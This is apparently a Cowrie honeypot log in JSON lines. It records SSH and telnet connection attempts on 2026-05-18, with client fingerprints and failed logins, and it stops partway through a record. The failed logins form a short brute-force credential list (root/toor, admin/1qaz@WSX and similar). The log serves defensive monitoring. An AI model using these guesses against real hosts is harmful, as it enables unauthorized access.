{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:59.257423Z","src_ip":"94.26.106.229","session":"0436b5e17b95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123123","message":"login attempt [newuser/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:59.610492Z","src_ip":"43.128.86.117","session":"553bc1236f5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":57308,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e27fb7f58a5","protocol":"ssh","message":"New connection: 45.156.87.204:57308 (159.203.135.109:22) [session: 7e27fb7f58a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:59.630651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:59.801496Z","src_ip":"45.156.87.204","session":"7e27fb7f58a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:59.842848Z","src_ip":"45.156.87.204","session":"7e27fb7f58a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sadmin","password":"sadmin","message":"login attempt [sadmin/sadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:00.192810Z","src_ip":"45.156.87.204","session":"7e27fb7f58a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:00.346420Z","src_ip":"94.26.106.229","session":"0436b5e17b95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:00.853844Z","src_ip":"43.128.86.117","session":"553bc1236f5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:01.277052Z","src_ip":"45.156.87.204","session":"7e27fb7f58a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":40654,"dst_ip":"159.203.135.109","dst_port":22,"session":"787173a9c7c8","protocol":"ssh","message":"New connection: 94.26.106.229:40654 (159.203.135.109:22) [session: 787173a9c7c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:01.522579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:01.528504Z","src_ip":"94.26.106.229","session":"787173a9c7c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:01.629509Z","src_ip":"94.26.106.229","session":"787173a9c7c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:01.895086Z","src_ip":"94.26.106.229","session":"787173a9c7c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:02.983001Z","src_ip":"94.26.106.229","session":"787173a9c7c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":40256,"dst_ip":"159.203.135.109","dst_port":22,"session":"c780f54eeee3","protocol":"ssh","message":"New connection: 45.156.87.204:40256 (159.203.135.109:22) [session: c780f54eeee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:03.335223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:03.341784Z","src_ip":"45.156.87.204","session":"c780f54eeee3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:03.425337Z","src_ip":"45.156.87.204","session":"c780f54eeee3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123456","message":"login attempt [myuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:03.672476Z","src_ip":"45.156.87.204","session":"c780f54eeee3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:04.758434Z","src_ip":"45.156.87.204","session":"c780f54eeee3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48028,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a922e92f5e2","protocol":"telnet","message":"New connection: 152.42.224.71:48028 (10.17.0.5:23) [session: 1a922e92f5e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:04.861167Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":40276,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8e8ba5ebc6f","protocol":"ssh","message":"New connection: 45.156.87.204:40276 (159.203.135.109:22) [session: d8e8ba5ebc6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:06.788898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:06.793200Z","src_ip":"45.156.87.204","session":"d8e8ba5ebc6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:06.877934Z","src_ip":"45.156.87.204","session":"d8e8ba5ebc6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.12138319015503,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:07.134748Z","src_ip":"152.42.224.71","session":"7b11bd985a16","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@1234","message":"login attempt [user/user@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:07.192189Z","src_ip":"45.156.87.204","session":"d8e8ba5ebc6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:08.276917Z","src_ip":"45.156.87.204","session":"d8e8ba5ebc6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0025224685669,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:09.351580Z","src_ip":"152.42.224.71","session":"67a4522f08c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":40304,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6c363c8dd7f","protocol":"ssh","message":"New connection: 45.156.87.204:40304 (159.203.135.109:22) [session: a6c363c8dd7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:10.485852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:10.490762Z","src_ip":"45.156.87.204","session":"a6c363c8dd7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:10.572797Z","src_ip":"45.156.87.204","session":"a6c363c8dd7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz@WSX","message":"login attempt [admin/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:10.818671Z","src_ip":"45.156.87.204","session":"a6c363c8dd7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47632,"dst_ip":"10.17.0.5","dst_port":23,"session":"514e0d20296a","protocol":"telnet","message":"New connection: 152.42.224.71:47632 (10.17.0.5:23) [session: 514e0d20296a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:11.013227Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:11.903290Z","src_ip":"45.156.87.204","session":"a6c363c8dd7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.7106237411499,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:13.084120Z","src_ip":"152.42.224.71","session":"d774518aedf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":56240,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d1e8a2ebf8e","protocol":"ssh","message":"New connection: 45.156.87.204:56240 (159.203.135.109:22) [session: 9d1e8a2ebf8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:13.866907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:13.870623Z","src_ip":"45.156.87.204","session":"9d1e8a2ebf8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:13.952833Z","src_ip":"45.156.87.204","session":"9d1e8a2ebf8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47636,"dst_ip":"10.17.0.5","dst_port":23,"session":"d49b94e219fb","protocol":"telnet","message":"New connection: 152.42.224.71:47636 (10.17.0.5:23) [session: d49b94e219fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:14.100135Z"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:14.199990Z","src_ip":"45.156.87.204","session":"9d1e8a2ebf8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:15.285743Z","src_ip":"45.156.87.204","session":"9d1e8a2ebf8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":59834,"dst_ip":"159.203.135.109","dst_port":22,"session":"75f688fde160","protocol":"ssh","message":"New connection: 94.26.106.229:59834 (159.203.135.109:22) [session: 75f688fde160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:15.498952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:15.503999Z","src_ip":"94.26.106.229","session":"75f688fde160","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:15.592994Z","src_ip":"94.26.106.229","session":"75f688fde160","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arman","password":"arman","message":"login attempt [arman/arman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:15.850583Z","src_ip":"94.26.106.229","session":"75f688fde160","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":19128,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb9f6925a5c7","protocol":"ssh","message":"New connection: 87.251.64.176:19128 (10.17.0.5:22) [session: cb9f6925a5c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:16.066886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:16.071584Z","src_ip":"87.251.64.176","session":"cb9f6925a5c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-